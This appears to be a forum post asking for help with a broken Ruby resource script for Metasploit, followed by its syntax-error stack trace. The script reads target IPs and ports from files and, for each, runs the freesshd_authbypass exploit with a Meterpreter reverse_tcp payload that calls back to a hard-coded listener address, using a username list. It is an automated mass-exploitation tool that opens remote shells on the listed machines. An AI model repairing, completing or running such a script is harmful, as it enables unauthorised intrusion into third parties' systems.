I've been coding a script to automate tasks with Ruby in metasploit. For some reason, the script is giving me errors. Here's the code:
<ruby>
File.open("/root/ip.txt","r") do |file|
file.each_line do |ip|
file.close
File.open("/root/derp.txt","r") do |port1|
file.each_line do |port|
file.close
run_single("use exploit/windows/ssh/freesshd_authbypass")
run_single("set LHOST 198.46.156.143")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{port}")
run_single("set EXITONSESSION false")
run_single("set RHOST #{ip}")
run_single("set USER_FILE /root/userlist.txt")
run_single("exploit -j -z")
end
end
</ruby>
(Yeah, I know it's not perfect (at all), but I'm extremely new to Ruby.) I tried everything, adding end to each of the File.open lines (of course it's after File.close), but it gives this error:
[-] resource (/root/exploit.rb)> Ruby Error: SyntaxError /opt/metasploit-framework/lib/msf/ui/console/driver.rb:461: syntax error, unexpected keyword_end, expecting $end ["/opt/metasploit-framework/lib/msf/ui/console/driver.rb:455:in `eval'", "/opt/metasploit-framework/lib/msf/ui/console/driver.rb:455:in `load_resource'", "/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:245:in `block in cmd_resource'", "/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:227:in `each'", "/opt/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb:227:in `cmd_resource'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:427:in `run_command'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:389:in `block in run_single'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `each'", "/opt/metasploit-framework/lib/rex/ui/text/dispatcher_shell.rb:383:in `run_single'", "/opt/metasploit-framework/lib/rex/ui/text/shell.rb:200:in `run'", "/opt/metasploit-framework/lib/metasploit/framework/command/console.rb:30:in `start'", "/opt/metasploit-framework/lib/metasploit/framework/command/base.rb:82:in `start'", "/usr/local/bin/msfconsole:48:in `<main>'"]
Adding {} to the the beginning and end of the code doesn't work either.
In a nutshell, Ruby's giving me an error when I put multiple File.opens in the code. I need help on how to properly implement them.